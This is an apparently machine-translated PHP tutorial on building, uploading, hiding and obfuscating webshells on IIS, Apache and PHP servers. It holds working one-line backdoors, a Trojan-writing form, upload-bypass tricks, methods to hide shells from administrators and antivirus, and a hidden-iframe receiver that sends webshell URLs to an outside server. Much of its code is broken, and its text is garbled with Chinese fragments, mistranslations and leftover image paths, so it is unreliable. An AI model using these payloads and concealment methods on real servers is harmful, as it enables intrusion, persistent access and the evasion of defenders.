Home > Backend Development > PHP Tutorial > Webshell implementation and hiding research

Webshell implementation and hiding research

WBOY
Release: 2016-08-08 09:21:22
Original
2417 people have browsed it

1. What is webshell

  1. Introduction to webshell

webshell, as the name suggests: web refers to the web server, and shell is a script program written in scripting language. Webshell is a management tool for the web, which can control the web The authority to operate the server, also called webadmin. Webshell is generally used by website administrators for website management, server management, etc. However, because webshell is relatively powerful, it can upload and download files, view databases, and even call some system-related commands on the server (such as creating users, Modify or delete files, etc.), usually used by hackers. Hackers use some upload methods to upload the webshell they wrote to the directory of the web server page, and then intrude through page access, or connect to the local computer by inserting a sentence Some related tools directly perform intrusion operations on the server.

  1. Classification of webshell
Webshell can be divided into PHP script Trojans, ASP script Trojans, and .NET-based script Trojans and JSP script Trojans based on scripts. Abroad, there are also dynamic web pages written in python scripting language, and of course there are also webshells related to them.
According to the function, it is also divided into big horse and small horse. Xiaoma usually refers to a one-sentence Trojan, for example: <%eval request("pass")%> Usually this sentence is written into a document, and then the file The name is changed to xx.asp. Then send it to the server. Here the eval method converts request("pass") into code execution. The function of the request function is to apply external files. This is equivalent to the client configuration of a Trojan in one sentence. Server configuration (i.e. local configuration):

Default



9

10

11value
12

13

14

15

16

17

18

<
form

action
=

http
:

//host path/TEXT.asp method=post>
<
textarea

name

=
cols

=

120rows=10wid th=45>

set lP=server.createObject("Adodb.Stream ")//Create stream object

lP

.Open//OpenlP.Type=2 //In text mode

lP.CharSet="gb2312"

//Font standard

lP.writetext request( "newvalue"

)

lP.SaveToFile server.mappath("newmm.asp"),2//Write the Trojan content to newmm.asp by overwriting the file, 2 is the overwritten one Method

lP. Close//Close the object

set lP=nothing//Release object

response.redirect"newmm.asp"//redirect to newmm.asp

< ;/textarea>

<textarea name=newvalue cols=120rows=10width=45> (Add content to generate Trojan)

</textarea>

<BR >

<center> ;

<br>

<input type=submit value=submit>

Here, the Trojan is submitted by submitting the form. The specific method is to define an object IP, and then write the content in newvalue in text mode (the content of newvalue is defined in textarea), and write to overwrite The method generates the ASP file and then executes this script. The value in the client represents the name of the form, which must be the same as the form name in the post submission of the server (local machine), so the value here can be any character, equivalent to a password or something like that, but this The 'password' is in clear text and can be intercepted. The one-sentence principle of PHP is similar to the above principle, that is, the difference in language leads to different syntax. This is basically how ponies work.

Da Ma’s working mode is much simpler. There is no difference between the client and the server. Some script experts directly integrated the server side of the one-sentence Trojan, uploaded Da Ma through the upload vulnerability, and then copied the big horse. The horse's URL address is directly accessed to perform penetration work on the web server on the page. However, some websites have strict restrictions on uploading files. Because DaMa has many functions, the size is relatively large, which may exceed the upload limit of the website. However, the size of DaMa can be controlled (for example, copy the code many times, Or insert the code into a garbled file), but Xiaoma's operation is more cumbersome. You can first upload Xiaoma to get the webshell, and then upload Xiaoma to get the server through Xiaoma's connection.

2. How to upload webshell

1. Upload analysis vulnerability

Now there are different web server programs corresponding to different web server systems. The mainstream one on the windows side is iis, and the mainstream one on the linux side is nginx. These services provide great help in building web servers, but they also bring hidden dangers to the server. There are some vulnerabilities in these servers that can be easily exploited by hackers.

(1)iis directory parsing vulnerability

For example: /xx.asp/xx.jpg
Although the uploaded JPG file is, if the file is in the xx.asp folder, the iis will treat the image file as xx.asp analysis, this vulnerability exists in iis5.x/6.0 version.

(2) File parsing vulnerability

For example: xx.asp;.jpg. When the web page is uploaded, the jpg file is recognized, but iis will not parse it after uploading; subsequent characters will also parse the file into an asp file. This vulnerability exists in iis5.x/6.0 versions.

(3) File name analysis
For example: xx.cer/xx.cdx/xx.asa. Under iis6.0, cer files, cdx files, and asa files will be treated as executable files, and the asp code inside will also be executed. (The asa file is an asp-specific configuration file, and cer is the certificate file).

(4)fast-CGI parsing vulnerability

When the web server turns on fast-CGI, upload the image xx.jpg. The content is:

Default

1

fputs(fopen('shell.php', 'w' ),'eval($_POST[shell])?>');?>

The fput used here creates a shell.php file and writes a sentence. Accessing the path xx.jpg/.php will generate a one-sentence Trojan shell.php in this path. This vulnerability exists in IIS 7.0/7.5 and Nginx versions below 8.03. Locale: PHP, prel, Bourne Shell, C and other languages.

*Note: fast-CGI is an upgraded version of CGI. CGI refers to an interface that provides human-computer interaction on the server. fast-CGI is a resident CGI. Because CGI needs to use fork to start a process every time it is executed, but fast-CGI is always executed after activation, and there is no need to fork a process for every request. It takes up less memory than ordinary CGI.

(5) Apache parsing vulnerability
The way Apache parses is from right to left. If the parsing cannot be successful, it will want to move one to the left. However, background upload usually looks at the rightmost suffix of the uploaded file, so according to For this, you can name the horse xx.php.rar, because apache cannot parse rar, so it parses it as php, but the background upload point parses it as rar, thus bypassing the upload file suffix restriction

2. Truncate the upload

When uploading a picture, for example, name it 1.asp .jpg (there is a space after asp). When uploading, use NC or burpsuite to capture the form, and add %00 after the upload name asp (in burpsuite You can directly edit the HEX value in it. The HEX value of a space is 20. Change 20 to 00). If HEX is 00, it means truncation, and 20 means a space. If it means truncation, it means ignoring the JPG verification statement in the script and directly Upload ASP.

3. Backend database backup

In the backend management system of some enterprises, there is a function to back up the database (for example, Southern CMS has the function to back up the database). You can upload a picture that contains a Trojan sentence, or change it to jpg format, and then use the database backup function to back up the picture to asp and other content that can be parsed into script statement format, and then passed Trojans can be executed by accessing the web, but this method is very old. Now most cms have canceled or disabled this backup function.

4. Use database statements to upload

(1) mysql database into outfile

The premise of this method must be that the website has a corresponding injection point, and the current user must have upload permission, and there must be a current web page in The absolute path under the server. The method is to use joint query to import the one-sentence Trojan into a PHP file under the website, and then use the server to connect to the website. However, the conditions for the above method are too harsh and are rarely encountered.

(2) Create a new table writing Trojan
Some open source cms or self-made webshells will have database management functions. There are sql query functions in the database management functions. First use create table shell (codetext); create a name called shell The table contains a list called code and the type is text. Then use insert into shell(code) values('one sentence horse'). Here, the code column in the shell table is assigned the value of one sentence horse, and then through custom backup, back up the table as x.php;x and then It is parsed into php and then executed. This is not x.php; x must be parsed into php. Different web servers have different service programs and different filtering rules. Other methods may be used.

(3)phpMyadmin setting error
phpMyadmin is a tool used to manage website databases, in which config.inc.php is its configuration file. When viewing the file, if $cfg['Servers'][$i ]['auth_type'] The value setting of the parameter is not set (the default is config), which means that no corresponding verification is done when logging in to the database. You can directly connect to the database, and in some versions of Mysql, the default login is as the root user. Log in (i.e. administrator), so logging in has the maximum authority. However, root can generally only log in locally, so a remote login user must be created. After logging in as a remote login user, create a table and then write the one-sentence Trojan into it.

3. The "security" of webshell

1. Regarding the hiding of webshell

When uploading webshell, you must hide the webshell. The first purpose of hiding the webshell is to prevent the website administrator from discovering it and deleting it. The second purpose is to prevent other hackers from discovering this file and using it.

(1) Malaysia’s hidden

①Undead zombies

Windows system has system reserved folder names. Windows does not allow these names to be used to name folders. Reserved folders: aux|prn|con|nul|com1|com2 |com3|com4|com5|com6|com7|com8|com9|lpt1|lpt2|lpt3|lpt4|lpt5|lpt6|lpt7|lpt8|lpt. But these can be created using the windows copy command, such as:

Default

1

c:>copy3.asp.C:aux.asp

file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image020.png

file:///C:UsersSAKAIY~1 AppDataLocalTempmsohtmlclip11clip_image022.jpg
created in c drive an aux.asp. This file cannot be deleted in the graphical interface.
file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image023.png
To delete, you must use the del command.
file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image024.png
There is no prompt after deletion, but the file is indeed gone.
Of course, although this method can be used to create a webshell that cannot be deleted through the graphical interface, if it is placed directly in the root directory of the web page, it will still be deleted if an experienced network administrator sees it.

②clsid hidden

Every program in windows has a clsid. If you name a folder x.{program clsid}, then enter two commands:
file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image026. jpg
After creation
file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image027.png

click to enter the control panel, but in fact the file is still a folder, and Malaysia still exists in it, and create a Naming such a folder with a clsid as a corresponding program can confuse network administrators. For example, enter the recycle bin folder to create such a folder with a recycle bin clsid, and copy a reserved word in it. asp, you can also use

Default

1

attrib+ h+s+r+d/s/d

Modify the properties of the file and hide it. Generally, Windows does not display hidden files by default, and the recycle bin folder is automatically created, so that an immortal webshell can be hidden in the server.

③Drive hiding technology

The principle is that in the Windows file system, when a folder is opened, the system will send an IRP_MJ_DIRECTORY_CONTROL function. This function can allocate a buffer to traverse the subfolders under the folder. The obtained information is stored in the buffer. When traversing, it looks for matching file names. If the file names match, the current folder or file is bypassed. Regarding the principle of bypass, I queried the code. According to my understanding, It adds the offset of the file based on the traversed pointer when querying the target file, and skips directly without scanning the target folder.
For the implementation of this technology, although there are many C source codes on the Internet, it is difficult to operate because of the support of header files and system support (the file systems of different systems will be different). I found Easy on the Internet The File Locker program needs to be installed on the web server and set permissions on the target file.

Default

1

file:///C: UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image028.png


Permission settings include readable, writable, deletable, and visible.

Default

1

file:///C: UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image030.jpg


You can see from the above picture that we have hidden it. As mentioned above, because the traversal is directly bypassed, the absolute path can be accessed. My understanding is:

Default

WINDOWS

xlkfs

.datasp includes the statement: , fill in the path directly, and the file path is the path on the web server. You can use Webmaster Stop to write a sentence of NTFS stream pony into the image. After writing the ‘’ to ‘:’ in the path, the image will not be displayed, and then find Go to an asp file on the web server and write an include statement at the beginning of the file,

php include statement:

Default

1

include($include

)

;

?>

c:
WINDOWS

xlkfs.dllc:WIND OWS

xlkfs.ini c:WINDOWS

system32driversxlkfs.sys

These 4 files replace traversal Query, to access hidden files, entering the absolute path does not apply absolute path query, but queries through the above four files, which is equivalent to making a separate driver for hidden files. In order not to be discovered by the administrator, you can delete the Easy FileLocker program, but you cannot delete the above 4 files. After deleting the program, you can still access it by entering the absolute path, which achieves the function of hiding the backdoor④Registry hidingRegistry path: HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionexplorer\AdvancedFolderHiddenSHOWALLThere is a CheckedValue key under this path, put it Change it to 0. If there is no CheckValue key, create one directly and assign it a value of 0. Then the created hidden files will be completely hidden. Even if "Show all files" is turned on under the folder options, it will not be displayed. (2) Hiding of one-sentence Trojans①Header file inclusion hiding

In some script files in the web, some files have include statements. You can use this inclusion method to include one-sentence files. When accessing this page These sentences will be called directly.
)

$include here can be an external path such as:

http://www.aaa.com/1.php?Include=http://www.bbb.com/hehe.php

This aaa The content of 1.php on is

Default

1

include($include);?>

means inclusion. bbb is an external server, provided that this server cannot support PHP. Otherwise, hehe.php (that is, one sentence horse) will be executed on the bbb server, but aaa will not be executed.

②Configuration file hidden sentence (PHP)

After getting the PHP webshell, you can use php.ini to hide files and edit configuration files. One of the functions is to add the contents of a certain file to any interface. Header and footer:
auto_prepend_file =hehe.php
Then look at
include_path = “E:PHPnow-1.5.6htdocs;”
This configuration information indicates the location of the collection where the header and footer are loaded, path The rule is "path1;path2", which means adding the header and footer files in the folder of path1 to the files in path, because here is a '.' indicating the root path, which is equivalent to adding it to the homepage. Go there, and then write a sentence in the hehe.asp file, you can add the header function through php and write the sentence into the homepage of the website.

③404 Pony

404 Pony displays a 404 page that does not exist when accessing, but in fact the Trojan code has been executed. Generally, it can be called out by pressing shift 5 times.

4. One sentence about webshell to avoid killing

1. Construction method to bypass detection (PHP)

General detection programs will filter characters like "_POST", "system", "call_user_func_array", this Sometimes you can use construction methods to bypass some detection programs. The basic principle is that each character in PHP corresponds to a binary value. You can use the XOR method to make one character in the horse use the XOR value of two characters. to replace.
For example, like the code

Default

@ +$ _

++

;

// Here ++ let '_' 自 1

$ __
=

(
"#"

^

"|"

;

                                                                                                        

$__=("/"^"`");                                     

$__= ("|"^"/");                                                                                            "{"^"/" );                                                                                                          ​

Then the structure and a sentence can be written as

Default

@

$_

++;("|").

$__

=
"#"

^

"|").("." ^"~").("/"^"`"

)

.("|"^"/").("{"^ "/");        // The value of $__ is _POST @${$__}[!$_](${$__}[$_]); ?> ;

//The result is @$_POST[0]($POST[ 1])!$_ represents the opposite of 1. In the language, 1 represents true, and the converse is 0 (false)But this bypass method is quite weak. If you think about it carefully, even if it is two characters Binary values ​​are "~").("/"^"`").("|"^"/").("{"^"/")1 $__=(

"#"

^
(

"."

^

"~"

)

.

(

"/"
^
"`"

)
.
(

"|"
^

"/"

)
.
(

"{"^"/"

)

function funfunc

The binary value of

will be detected twice. The value of the hexadecimal code will still be Kill. 2. Regular expression replacement method (PHP) There is a function preg_replace() in php, which can realize the replacement of regular expressions. Using substitution to bypass the detection system also requires a function feature in the PHP scripting language. When the function is called, if the value assigned to the formal parameter in the function contains a command, the command will be executed. Default(.+?)/ies",'funfunc("1")', $_POST["cmd"]); ?>1234

(

$str

)

{

}

echopreg_replace("/(.+?)/ies"

,'funfunc("1")'

,$_POST

[

"cmd"

]);

?>

The above code is a process of replacement. First, create an empty function, and then use the preg_replace function to replace the (here is the theme in html) in the form cmd with funfunc. The value in the post form is written as
{${phpinfo()}}
(of course the phpinfo() here can be replaced with other commands), through replacement, it will become Into
funfunc({${phpinfo()}})
Since ${} can parse the content in {}, the phpinfo here can be executed smoothly.

3. Instant generation method (PHP)

When using header file inclusion, the included header file php is easily scanned by the scanner. At this time, you can use file_put_content to create a file with a sentence like php written in it. . Generate the horse before accessing it, but this function is sensitive and can be easily killed.

4. Avoidance method (asp)

Because some asp servers will filter <%,%> in order to prevent one-line spam, you can use:

Default

1

<scriptlanguage=VBScriptrunat =server> execute request("cmd")</Script>

The functions are the same, Just change the form.
Avoid specific script language: aspx one sentence

Default

1

这里使用C#语言写一句话马。

5.拆分法(asp)

将<%eval request(“x”)%>拆分为<%Y=request(“x”)%><%eval(Y)%>,虽然绕过的可能性很小,但是也是一种绕过手法,也许有的服务器,做了很多高大上的扫描方式,但是遗漏小的问题。
还有拆分法加强版:

Default

1
2

<%IfRequest("MH")<>""ThenExecute(Request("MH"))%>

<%ifrequest("MH")<>""thensession("MH")=request("MH"):endif:ifsession("MH")<>""thenexecutesession("MH")%>

以上两句使用了if一句将其分开,中心思想将敏感字符拆分,因为一般asp特征码为eval(request或者execute(request,拆分了之后检测不到特征码,就直接绕过了。

6.乱码变形(ANSI->Unicode加密)

Default

1

<%evalrequest("#")%>变形为“┼攠數畣整爠煥敵瑳∨∣┩愾”

Default

1

eval(eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("brute"))%&gt;

上面一行代码是采用了ascii加密的方法,chr(114)代表的是ascii中的编号为114个那个字符,即r。上述代码转换后的代码为

Default

1

<%eval(eval(request("brute"))%>

7. Malaysia’s anti-virus protection

(1) base4code encoding

Malaysia’s anti-virus protection can be compressed by compressing the Malaysian code, and then perform the base4 encryption algorithm after compression, and then add the Malaysian code at the end Add

Default

1

@eval(gzinflate (base64_decode($code)));

You can execute the script. Among them, the $code variable is used to store the base4 code. During execution, it is first decompressed by gzinflate and executed in eval. In fact, this cannot be truly protected from killing, as base4code and eval are still included in the signature list, and will also be killed when passing through the scanner.

(2) ROT13 encoding (php)

str_rot13 is a function used by php for encoding. It can be used to encode script code to bypass signature detection, for example.
file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image031.png
The strrev function in the picture is used to reverse characters. In order to escape the detection of the signature, the characters are specially separated with '.' signs.
The characters encrypted by the three str_rot13 in the picture are gzinflate, str_rot13, base64_decode in order, which is equivalent to triple encryption, and also avoids the two feature codes of gzinflate and base64_decode. But there is no avoiding str_rot13. It is possible that some anti-virus software will also use str_rot13 as a feature code.
ROT13 becomes rotation 13, which means that the current character’s position value in the alphabet minus 13 is encrypted. Encrypt it twice and it will return to its original value. However, due to the fixed algorithm, the encryption strength is not strong. And the method of cracking is extremely simple, just encrypt one side.

(3) Other encodings

Generally, anti-virus software and scanners will use signature codes to determine whether there are viruses. When doing anti-virus processing for Malaysian or small horses, or in one sentence, php or asp scripts are usually used. Encryption functions can be used to bypass scanners (such as base4, rot13, etc.), but I think you can write your own encryption algorithm, and then use your own encryption algorithm to encrypt script code to bypass some feature codes. You can use some ideas of encryption methods such as Caesar cipher and shift encryption, write an encryption algorithm, and then encrypt the script code. Then feature codes such as base4 and rot3 will disappear, or you can use homemade encryption directly without any trouble. The algorithm encrypts the signature and then decrypts it when used.
You can also use key encryption algorithms such as DES and RSA. Generally, Malaysia will have a password login box. You can link the password of the login script with the decryption key, and it can be parsed only after entering the correct password. , on the one hand, it is to avoid detection by scanners and anti-virus software, and on the other hand, it is convenient. Even if this Malaysia is obtained by others, they cannot decrypt it and see the source code.

5. About the backdoor of webshell

Generally, the Malaysian downloaded online will have more or less backdoors. These backdoors directly lead to the website we downloaded being taken away by others, so the Malaysian downloaded online must first Check for backdoors.
For example, the universal password here:

Default

1
2
3
4
5
6
7

end function

ifsession ( "hehe") ""then

ifrequest.form("pass")=userpassor request.form ("pass")

=

"1111111" hThensession ( "hehe" ) = UserPassSS response.redirect urlelse

here

Default

1

request.form ("pass")=userpass

was originally used to verify the value of pass. If the entered pass value is equal to userpass, it means Verification is successful, but later

Default

1

orrequest. from(“pass”)=”1111111”


means if the entered pass value is 111111 1. You can also log in to Malaysia. Of course, this place can't be that simple. The original author can assign the userpass value to two and add one The trigger condition for userpass change is triggered when he logs in (for example, if the login fails, the update of userpass value will be triggered), so that you can add a suffix, and Moreover, the trigger condition code and the verification code are far apart and difficult to find. At this time, we need to analyze the Malaysian code line by line.

Then use the frame to mount the horse:

Default

1

<iframe src=backdoor addresswidth=0height=0></iframe >

In this place, set the link address width and height to 0, and the page will be hidden. The "backdoor address" inside points to your own script receiver, and finally you put the receiving script on a public network server you built. The receiving script is as follows:

Default

<%

url=Request =
.

ServerVariables

(

"HTTP_Referer"
)

set

fs
server

.

CreateObject ("Scripting.FileSystemObject") setfile

=

fs.OpenTextFile(server.MapPath("hehe.txt") ,8,True)

file.writelineurl file.closeset file=nothing

setfs=nothing

%>

where

Default

1

url=Request .ServerVariables("HTTP_Referer")

represents the requested character to the content, that is, the Malaysian url address, and then The url address is saved to the current hehe.txt of the directory.

To propose this kind of backdoor, you must first destroy the second type of password authentication in Malaysia, which is the master password. Delete the relevant function code, and then check to see if there is an ASP Malaysia page with a hidden URL such as width=0 height=0, find it and delete it.

The above has introduced the implementation and hidden exploration of Webshell, including aspects of it. I hope it will be helpful to friends who are interested in PHP tutorials.

Related labels:
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template